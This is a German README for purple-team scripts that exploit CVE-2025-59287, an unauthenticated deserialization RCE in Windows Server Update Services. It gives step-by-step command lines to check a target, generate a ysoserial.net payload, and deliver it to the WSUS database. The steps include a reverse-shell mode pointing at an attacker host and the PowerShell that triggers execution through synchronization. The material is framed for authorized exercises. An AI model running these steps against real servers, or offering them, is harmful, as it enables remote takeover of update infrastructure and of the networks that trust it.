
Skripte für Purple-Team-Übungen, die CVE-2025-59287 demonstrieren, eine nicht authentifizierte RCE in WSUS durch bösartige Deserialisierungs-Payload-Injektion in die WSUS-Datenbank.
Purple-Team-Übungsskripte für CVE-2025-59287, eine nicht authentifizierte Remote-Codeausführungsschwachstelle in Windows Server Update Services (WSUS).
Nur für autorisierte Nutzung. Zur Verwendung in kontrollierten Übungsumgebungen gegen Systeme, die Sie besitzen oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben.
Die Schwachstelle missbraucht anonym zugängliche WSUS-SOAP-Endpunkte, um eine bösartige Deserialisierungsnutzlast in die WSUS-Datenbank einzuschleusen. Die Nutzlast wird ausgeführt, wenn die WSUS-Verwaltungskonsole geöffnet oder eine Synchronisierung ausgelöst wird.
8530ysoserial\Release\ platziert (siehe Einrichtung)wsus-cve-2025-59287/
├── 1-check.ps1 # Verify target is vulnerable
├── 2-generate.ps1 # Generate serialized payload blob
├── 3-deliver.ps1 # Deliver payload to WSUS server
├── 4-verify.ps1 # Verify execution and clean up
├── ysoserial/ # Place ysoserial.net release here (not committed)
│ └── Release/
│ └── ysoserial.exe
└── README.md
Klonen Sie das Repository oder laden Sie es herunter. Fügen Sie ysoserial.net so hinzu, dass der Pfad ysoserial\Release\ysoserial.exe entspricht.
Laden Sie ysoserial.net herunter von: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 Dies wird standardmäßig Windows Defender auslösen.
Führen Sie alle Skripte aus dem Repository-Stammverzeichnis aus.
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
Dateiablage (kein Listener erforderlich, zuerst empfohlen):
.\2-generate.ps1 -Mode filedrop
Reverse Shell:
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
Öffnen Sie auf dem WSUS-Server die Verwaltungskonsole über Start > Windows Server Update Services, oder lösen Sie eine Synchronisierung über PowerShell aus:
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
Ausführung überprüfen:
.\4-verify.ps1
Überprüfen und alle Artefakte bereinigen:
.\4-verify.ps1 -Cleanup
Von der Angriffsbox über die Admin-Freigabe:
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
Entfernen Sie nach der Bereinigung den Übungscomputer aus der WSUS-Konsole unter Computer.